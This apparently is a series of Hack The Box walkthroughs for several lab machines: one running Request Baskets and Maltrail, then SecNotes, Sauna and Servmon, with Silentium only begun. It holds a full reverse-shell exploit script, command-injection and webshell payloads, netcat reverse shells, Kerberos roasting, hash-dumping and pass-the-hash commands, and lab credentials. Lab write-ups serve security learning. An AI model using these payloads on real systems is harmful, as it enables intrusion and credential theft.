# Nmap done at Sat Apr 12 03:38:07 2025 -- 1 IP address (1 host up) scanned in 254.76 seconds

Enumeration

Port 55555/HTTP

port 55555 is running webserver let’s browse the website using browser

it’s running some application “Request Baskets” we found it’s github repo link and it disclosed the version of the application → https://github.com/darklynx/request-baskets v. 1.2.1

let’s give it a quick google search to see if anything interesting for us, and we found The SSRF vulnerability in CVE-2023-27163 impacts request-baskets software up to version 1.2.1 [https://nvd.nist.gov/vuln/detail/CVE-2023-27163] great!, further research reveals that the /api/baskets/{name} api was vulnerable

so the process is :

craft malicious API request to /api/baskets/{randomName}
send request to server and then the created basket will work as proxy for target url

following is the API request that we’ll send to server

POST /api/baskets/sd3434 HTTP/1.1
Host: 10.10.11.224:55555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: null
X-Requested-With: XMLHttpRequest
Origin: http://10.10.11.224:55555
Connection: keep-alive
Referer: http://10.10.11.224:55555/web
Content-Length: 130

**{
"forward_url": "http://127.0.0.1",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}**

highlighted with red is the actual payload now when we sent this request to server it will create the basket with the name of sd3434 and when we access the basket via url - http://10.10.11.224:55555/2w6rna1 so we can access service running on http://127.0.0.1 we don’t have any clue that if any service is running on port 80 or not we are just guessing this

let’s exploit this

let’s access the created basket from http://10.10.11.224/sd3434

great! the port 80 is running Maltrail v. 0.53 let’s search for any exploit for this server and version

https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/exploit.py RCE, Unauthenticated RCE!! this is what we need

Exploit.py

'''
  ██████  ██▓███   ▒█████   ▒█████   ██ ▄█▀ ██▓▓█████  ██▀███  
▒██    ▒ ▓██░  ██▒▒██▒  ██▒▒██▒  ██▒ ██▄█▒ ▓██▒▓█   ▀ ▓██ ▒ ██▒
░ ▓██▄   ▓██░ ██▓▒▒██░  ██▒▒██░  ██▒▓███▄░ ▒██▒▒███   ▓██ ░▄█ ▒
  ▒   ██▒▒██▄█▓▒ ▒▒██   ██░▒██   ██░▓██ █▄ ░██░▒▓█  ▄ ▒██▀▀█▄  
▒██████▒▒▒██▒ ░  ░░ ████▓▒░░ ████▓▒░▒██▒ █▄░██░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░▓  ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒  ░ ░░▒ ░       ░ ▒ ▒░   ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░ ░  ░  ░▒ ░ ▒░
░  ░  ░  ░░       ░ ░ ░ ▒  ░ ░ ░ ▒  ░ ░░ ░  ▒ ░   ░     ░░   ░ 
      ░               ░ ░      ░ ░  ░  ░    ░     ░  ░   ░     
'''

import sys;
import os;
import base64;

def main():
	listening_IP = None
	listening_PORT = None
	target_URL = None

	if len(sys.argv) != 4:
		print("Error. Needs listening IP, PORT and target URL.")
		return(-1)
	
	listening_IP = sys.argv[1]
	listening_PORT = sys.argv[2]
	target_URL = sys.argv[3] + "/login"
	print("Running exploit on " + str(target_URL))
	curl_cmd(listening_IP, listening_PORT, target_URL)

def curl_cmd(my_ip, my_port, target_url):
	payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
	encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64
	command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
	os.system(command)

if __name__ == "__main__":
  main()

inspecting exploit.py we found that the username parameter is vulnerable we need to send base64 encoded payload then pipe it to base64 -d then pipe it’s output to sh command to execute the command let’s run the simple ping command to check if this is working or not

first let’s encode the ping command into base64 using,

echo ping -c 1 10.10.14.17 | base64

start tcpdump to capture ICMP traffic in our machine

sudo tcpdump -i tun0 icmp -v

now let’s run the curl command to get ping command executed

curl http://10.10.11.224:55555/sd3434/login --data 'username=;`echo+"cGluZyAtYyAxIDEwLjEwLjE0LjE3Cg=="+|+base64+-d+|+sh`'

we got the output, we can say that the server is executing the commands it’s time for shell i’ll use busybox nc command to get shell

echo busybox nc 10.10.14.17 443 -e /bin/bash | base64

send payload to target using curl, start netcat listener on port 443 using rlwrap -r nc -nvlp 443

curl http://10.10.11.224:55555/sd3434/login --data 'username=;`echo%20"YnVzeWJveCBuYyAxMC4xMC4xNC4xNyA0NDMgLWUgL2Jpbi9iYXNoCg=="%20|%20base64%20-d%20|%20sh`'

let’s upgrade to TTY shell using python

python3 -c 'import pty;pty.spawn("/bin/bash");'

Getting Shiny #️⃣ : Root

let’s check if we have any permissions to run any command as root using sudo -l

we do~!, we can run sudo systemctl status trail.service when we run status command it will open default pagger like less we can execute !/bin/bash to get root shell

SecNotes

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: SecNotes
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Thu May  8 16:58:21 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.97
Nmap scan report for 10.10.10.97
Host is up, received echo-reply ttl 127 (0.27s latency).
Scanned at 2025-05-08 16:58:21 IST for 411s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-05-08T04:34:09-07:00
| smb2-time: 
|   date: 2025-05-08T11:34:10
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 2h19m36s, deviation: 4h02m31s, median: -25s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25086/tcp): CLEAN (Timeout)
|   Check 2 (port 44923/tcp): CLEAN (Timeout)
|   Check 3 (port 53444/udp): CLEAN (Timeout)
|   Check 4 (port 47004/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  8 17:05:12 2025 -- 1 IP address (1 host up) scanned in 411.27 seconds

Enumeration

Port 80/HTTP

port 80 is open on target let’s visit the web app in browser

let’s check the web technology using whatweb

whatweb http://10.10.10.97

back to our web app, let’s first create a new account by clicking on signup now button, login with newly created account’s creds

now starting my enumeration from All sections i found useful Change password button

i noticed that we didn’t require the current password to change the password, now another contact us page looks interesting as it send message to tyler

what if user is checking the message, let’s send link to our local web server and start netcat listener on port 80

rlwrap -r nc -nvlp 80

send the message

and yes user clicked it, also it shows that the user-agent is windows powershell, we assume that there’s powershell/batch script doing it

what if we manage to reset the tyler’s password, but for that i need get url that contains password reset link, can we send GET request to /change_pass.php

and it worked, so the idea is we’ll send password reset link to tyler, as the link clicked by tyler, his session cookie with this request will reset his password

http://10.10.10.97/change_pass.php/?password=admin123&confirm_password=admin123&submit=submit

send this link in contact us message, and wait few seconds and try to login as tyler using admin123 as his password

looking at new site note

looks like the credential of the tyler

smbclient -L //10.10.10.97 -U 'secnoted.htb/tyler%92g!mA8BGjOirkL%OG*&'

smbclient //10.10.10.97/new-site -U 'secnoted.htb/tyler%92g!mA8BGjOirkL%OG*&'

nothing useful but we noticed that we can upload the files in this share

echo "test" > test.txt

and then try to upload files using put command

put test.txt

now how to access this file, we noticed another web server is running on port 8808 port

let’s try to access the test.txt from there

but after some times it is automatically deleted, so we need to do it fast, first we’ll upload the aspx webshell

Boom! error file or directory not found! what about php

<?php system($_GET['cmd']); ?>

and then we can get the shell by executing nc.exe

Running winpeas i found the wsl is installed on machine

ok so looks like we need to login to wsl

i’ll locate wsl.exe using where command

where /R C:\Windows wsl.exe

i’ll execute whoami command to see what user we are running

C:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe whoami

now we need to find bash.exe to execute commands

where /R C:\Windows bash.exe

execute bash.exe to login to machine

C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe

then i found the .bash_history file inside root user’s home directory

we got the administrator’s password, let’s login as administrator using impacket-psexec

impacket-psexec Administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

Sauna

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Sauna
OS type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sun Apr  6 01:13:09 2025 as: /usr/lib/nmap/nmap -sVC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49696 -oN initial/nmap.out 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up (0.30s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-06 12:12:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m29s
| smb2-time: 
|   date: 2025-04-06T12:13:56
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  6 01:15:07 2025 -- 1 IP address (1 host up) scanned in 117.87 seconds

Enumeration

Port 80/HTTP

let’s start our enumeration from port 80

from the title we can say that it is a banking website.

we found some user’s names, let’s note down these usernames in format of FirstName.LastName

let’s check another features in website, clicking on Apply Now button we found form

however submitting the form give us the Error 405

Hmm, nothing interesting here

let’s check gobuster for any hidden files or directories

gobuster dir -u http://10.10.10.175 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt

No interesting files are found

gobuster dir -u http://10.10.10.175 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

no interesting directories either.

Port 139,445/SMB

SMB is open on the target it is always better to check for Null sessions on SMB

smbclient -L //10.10.10.175 -N

-L for Listing shares

-N for Null session (No username & password)

server does allows the null session but no share listing, anonymous login enabled!, check for enum4linux

enum4linux -a 10.10.10.175

we found Domain Name and Domain SID, let’s note Domain SID, it can be use in feature attacks.

SID: S-1-5-21-2966785786-3096785034-1186376766

Domain: EGOTISTICALBANK

Port 135/MSRPC

let’s connect to MSRPC with rpcclient

rpcclient -U "" -N 10.10.10.175

→ it will work same as SMB null session, then try to run basic command such as enumdomains

Hmm, we can access but we don’t have permissions to run such commands

Port 389,3268/LDAP

let’s start our enumeration on LDAP, we’ll use ldapsearch tool for enumerate the LDAP

first we’ll need to grab the Domain NamingContexts also called as DN for perform search using LDAP, also called as base

ldapsearch -H ldap://10.10.10.175 -x -s base NamingContexts

-H : host for searching ldap://<ip>

-x : basic authenticaiton (no need to specify password)

-s : search scope: here we need to search base

NamingContexts : works like filter, output only NamingContexts

now let’s use this to perform full search on the domain

ldapsearch -H ldap://10.10.10.175 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL"

Lot of output but we didn’t find anything useful here such as usernames or any other details

Port 88/Kerberos

Let’s use the created user’s list and use tool - kerbrute to find valid users, i’ve added the Administrator and krbtgt users’ to the list as they are the inbuilt user’s in any AD Domain Controller

it identified Administrator and krbtgt is valid users, but other user’s are not exists

kerbrute userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL usernames.txt -v

let’s change our username format as per the industry standards, in companies the username of the employee can be in following patterns:

Firstname.Lastname
FirstInital.Lastname
FirstinitialLastname
Firstname.Lastinitial
FirstnameLastinitial
Firstname

as we’ve tried Firstname.Lastname let’s check other format as well, we’ll first only change 1 user’s name, let’s say Fargus.Smith, so now let’s edit Fergus.Smith to F.Smith,FSmith,Fergus.S, FergusS,Fergus

Bingo! we got hit, so the username format is FistinitialLastname, let’s change all user’s username and then try again

it still identified only one valid user what’s wrong!,

so it is the thing!, only one security manager and it is Mr. Fergus Smith 😈

we now have valid username but no password, what are you thinking about AS-REP attack right, yes my friend

impacket-GetNPUsers -no-pass -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/FSmith

Bingo!, let’s load our hashcat and crack this sweet hash

hashcat --help | grep -i kerberos

we are here for AS-REP let’s use the mode 18200

	hashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt

great we found password for fsmith:Thestrokes23

let’s use netexec tool to check if we have any read/write access to share in SMB or permissions to login via winrm

netexec smb 10.10.10.175 -u fsmith -p Thestokes23 --shares

HMM, we have a READ permissions to NETLOGON,SYSVOL,print$ shares and write permissions to RICOH Aficio SP 8300DN PCL 6 share which looks interesting, let’s keep this in pocket and check for winrm access

netexec winrm 10.10.10.175 -u fsmith -p Thestokes23

Pwn3d! means we can login using winrm, let’s use evil-winrm to login as fsmith

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Post-Enum

let’s start our enumeration, first we’ll check for any special privileges do we have, any special group memberships

let’s check for any special privileges usign whoami /priv

nope, let’s check for group memberships using whoami /groups

nope we are just normal user on this system, what about checking other users on the system

svc_loanmgr possibly the service user!, what if we can login as svc_loanmgr then use SeImpersonatePrivilege to gain Admin access!, first we need to enumerate the svc_loanmgr user

let’s check it’s group membership using net user svc_loanmgr

possibly if we can get the password of the svc_loanmgr we can login using evil-winrm, now we are dealing with service user’s so it’s always good to check for the Kerberost attack.

Deadend!, let’s use the bloodhound

bloodhound-python -c all -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175

svc_loanmgr has DcSync Permission, let’s first find the password for the svc_loanmgr, let’s use the winPEAS to find any information we missed earlier

upload winpeas to target machine via upload command

ohh!, so much overthinking we just found password laying around the machine

as we have DCSync rights let’s just use the secrestdump tool to get the password hashes

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175

it’s time for PsExec!!,

impacket-psexec Administrator@10.10.10.175 -hashes "aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e"

and we got the shell as NT authority\SYSTEM user.

Servmon

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Servmon
Difficulty: Easy
OS type: Windows

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr  5 07:54:47 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out 10.10.10.184
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 10.10.10.184
Host is up (0.35s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  07:35PM       <DIR>          Users
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
|   256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_  256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp    open  http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt
| http-title: NSClient++
|_Requested resource was /index.html
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     urday
|     workers
|_    jobs
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=4/5%Time=67F11A8A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/
SF:html\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r
SF:\n\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20t
SF:ext/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:
SF:\x20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x2
SF:0XHTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1
SF:/DTD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3
SF:\.org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x2
SF:0\x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\
SF:x20\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n
SF:")%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/h
SF:tml\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\
SF:r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTM
SF:L\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/
SF:xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org
SF:/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20
SF:\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x
SF:20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(
SF:RTSPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r
SF:\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r
SF:\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x20
SF:1\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml
SF:1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999
SF:/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\
SF:x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x2
SF:0\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.94SVN%T=SSL%I=7%D=4/5%Time=67F11A94%P=x86_64-pc-linux-
SF:gnu%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocati
SF:on:\x20/index\.html\r\n\r\ni\0c\0\x20\0F\0a\0l\0s\0e\0\0\0\0\0\0\0urday
SF:\0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs\x12\x02\x18\n\x12\
SF:x0f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r
SF:\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r
SF:\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPRequest
SF:,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x
SF:20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\
SF:n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-05T11:59:01
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr  5 07:59:23 2025 -- 1 IP address (1 host up) scanned in 276.93 seconds

Enumeration

Port 80/HTTP

let’s start our enumeration from port 80, open website in browser

we found the Directory traversal vulnerability, let’s use exploit from github and run https://github.com/AleDiBen/NVMS1000-Exploit/

python3 nvms.py 10.10.10.184 Windows/win.ini win.ini

Success! but we don’t have anything yet to chain this vulnerability to gain initial access on machine

Port 8443/HTTPS

port 8443 is running NSClient++, but however we are not able to access any feature or click any tabs, strange, let’s move to another service

in firefox site was not working, i tried to open it in chromium and it worked

ohh it says we are not allowed

Port 21/FTP

as the Anonymous login is enabled and nmap found directory Users which seems interesting

ftp 10.10.10.184

cd into users and we found another 2 directories Nadine and Nathan

we found Users/Nadine/Confidential.txt file, let’s download it

we found another file Users/Nathan/NOTES to do.txt, let’s download it as well

let’s view the both files

now we can see that the Nadine has forgot the Passwords.txt file in Nathan’s desktop and in to-do list Nathan still don’t add this file into secure folder, let’s use directory traversal vulnerability and grab the juicy passwords.txt file

also now we understand why we are not able to access the NSClient++ the user has lock down it’s access.

python3 nvms.py 10.10.10.184 Users/Nathan/Desktop/Passwords.txt password.txt

Bingo! super strong passwords but not the super secure loction 😈

it’s only password list, let’s bruteforce it on SSH for both users

hydra -L users.txt -P password.txt ssh://10.10.10.184

ssh Nadine@10.10.10.184

user.txt at Desktop of Nadine User

PrivEsc

Let’s start our enumeration to hunt the root.txt from Administrator’s pocket

whoami /priv No special privileges

not found any interesting directories in C:\ drive

let’s check Program Files and Program Files (x86)

why this service is present in this machine, let’s look at the privesc exploit fro NSClient++ https://www.exploit-db.com/exploits/46802

Great! this is our privesc attack vector, let’s follow the steps from exploit

get the administrator password from c:\program files\nsclient++\nsclient.ini

password= ew2x6SsGTxjRwXOT

also it says the allowed hosts are only 127.0.0.1 that’s why we are not able to access it, we need to do port forwarding using chisel

Download nc.exe and shell.bat to c:\temp from attacking machine

→ shell.bat

@echo off
c:\temp\nc.exe 10.10.14.14 443 -e cmd.exe

transfer the chisel.exe to taeget machine, run below command on kali to start chisel server on port 5000

chisel server --reverse --port 5000

run below command to target machine

chisel.exe client 10.10.14.14:5000 R:8443:127.0.0.1:8443

let’s open the site on 127.0.0.1:8443

after logining-in go to Settings>External Scripts>Scripts > Add Simple Script

4. Setup listener on attacking machine
	nc -nlvvp 443

5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
	- foobar
		command = c:\temp\shell.bat

Add script foobar to call evil.bat and save settings

Settings > External Scripts > Scripts
Add New
- foobar command = c:\temp\shell.bat

after that restart the computer from Control > Restart

Boom! we got shell as NT Authority\SYSTEM!!

Silentium

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

MAchine Name: Silentium
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

Nmap scan report for 10.129.245.103
Host is up, received user-set (0.16s latency).
Scanned at 2026-04-20 18:04:07 IST for 63s
Not shown: 65305 closed tcp ports (reset), 228 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

let’s visit the web application

we can see that it is redirecting us to silentium.htb website. let’s add the entry to /etc/hosts file and refresh the page.

whenever i see the hostname is being used in the website first thing i do is to fuzz for the virtual host /subdomain

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://silentium.htb/ -H "Host: FUZZ.silentium.htb" -fs 178

we found the staging domain, let’s add this to /etc/hosts file and then visit it in the browser

let’s try to login as standard admin user now as the it is asking for the email let’s use the standard format for the HTB admin@silentium.htb

it is saying that user not found so possibly we can enumerate usernames from it

same output if we visit the forgot password page

now to get some names from the main website we found the leadership section

let’s use the burp intruder to check if any of them is correct users or not

another way we can find out is using ffuf

